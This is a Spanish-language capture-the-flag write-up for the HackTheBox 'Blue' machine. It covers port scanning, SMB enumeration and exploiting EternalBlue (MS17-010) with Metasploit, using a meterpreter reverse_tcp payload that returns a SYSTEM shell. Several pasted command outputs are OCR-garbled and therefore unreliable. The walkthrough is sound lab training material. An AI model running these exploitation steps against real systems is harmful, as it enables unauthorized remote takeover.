## 236- BLUE

- <u>1. BLUE</u>
  - 1.1. Preliminar
  - <u>1.2. Nmap</u>
  - 1.3. SMB
  - 1.4. EternalBlue

# 1. BLUE

https://app.hackthebox.com/machines/Blue



### 1.1. Preliminar

• Creamos nuestro directorio de trabajo, comprobamos que la máquina esté encendida y averiguamos qué sistema operativo es por su *TTL*. Nos enfrentamos a un *Windows*.

• Escaneo de puertos sigiloso. Evidencia en archivo *allports*. Vemos que, entre otros, tenemos los puertos 135, 139, 445 abiertos.

```
File: extractPorts.tmp
   [*] IP Address: 10.10.10.40
[*] Open ports: 135,139,445,49152,49153,49154,49155,49156,49157
 [*] Ports copied to clipboard
```

Escaneo de scripts por defecto y versiones sobre los puertos abiertos, tomando como input los puertos de allports mediante extractPorts. Evidencia en archivo targeted. Observamos que a través del escaneo del servicio SMB, nos enfrentamos a un Windows 7. En este punto, ya estamos pensado en un posible EternalBlue.

```
mean: 2s, deviation: 3s, median: 0s

vory:

us 7 Professional 7001 Service Pack 1 (Windows 7 Professional 6.1)

per/demicrosoft:Windows_7:sph:professional

name: hardser

: Workscoupus_windows_7:sph:professional

ms: 2024-02-11713:25:39+00:00

/-woode:
ty-mode:
used: guest
cation level: user
g-response: supported
signing: disabled (dangerous, but default)
```

• Por tanto, vamos a ejecutar el script smb-vuln-ms17-010 de Nmap para comprobar si la máquina es vulnerable a EternalBlue. Comprobamos que, efectivamente, es vulnerable.

```
p -sV --scriptesmb-vuln-ms17-818 -p145 18.18.18.48
ing Nmap 7.93 ( https://nmap.org ) at 2824-82-11 14:57 CET
scan report for 18.8.18.48
ts up (8.876s latency).
   STATE SERVICE VERSION
open microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Plefences:
https://blogs.technet.mlcrosoft.com/msrc/2017/05/12/customer-guldance-for-wannacrypt-attacks/
https://ev.mltre.org/cgl-bin/evename.cgl?name=fVE-2017-0143
https://technet.mlcrosoft.com/en-us/tlbrary/security/ms17-010.aspx
```

### 13 SMB

• Antes de nada, como el sistema tiene el servicio SMB expuesto, tratamos de conectarnos con smbclient -L //10.10.10.40. Podemos listar los directorios.

• Enumeramos estos directorios uno por uno, siendo *Users* el único que tiene contenido. Accedemos a éste con: smbclient //10.10.10.40/Users. En cualquier caso, tras explorar los directorios y archivos, no encontramos nada relevante de información.

# 1.4. EternalBlue

- CVE-2017-0143 (EternalBlue):
- Vamos a explotar EternalBlue recurriendo esta vez a Metasploit. Ejecutamos: search eternal blue para buscar exploits para esta vulnerabilidad. Elegimos el primero.

• Seguidamente, usamos el payload payload/windows/meterpreter/reverse\_tcp. Establecemos la IP de la víctima y nuestra IP local con set rhosts 10.10.10.40 y set 1host 10.10.14.14 respectivamente.

```
| Cast||Jobs:e Agents:0| exploit(windows/smb/ss17_010_psexec) >> set psyload psyload/windows/meterpreter/reverse_tcp
| psyload => windows/meterpreter/reverse_tcp
| psyload | psyload
```

• Lanzamos el exploit y obtenemos nuestra sesión de Meterpreter. Somos AUTHORITY\SYSTEM, es decir, el usuario con máximos privilegios en Windows. Tras navegar por los directorios, encontramos las flag de usuario y root.

```
(Meterpreter 1)(C:\Windows\system32) > getuid
Server username: [MT_AUNIORITYS\STEM]
(Meterpreter 1)(C:\Windows\system32) > sysinfo
Computer : HARIS-PC
05 : Windows 7 (6.1 Build 7681, Service Pack 1).
Architecture : x64
System Language : en. G8
Domain : wORKCROUP
Logged On Users : 1 MEKCROUP
Logged On Users : 1 MEKCROUP
(Meterpreter : x86 / vindows
(Meterpreter : x86 / vindows\system32) > [
Meterpreter 1)(C:\Windows\system32) > [
```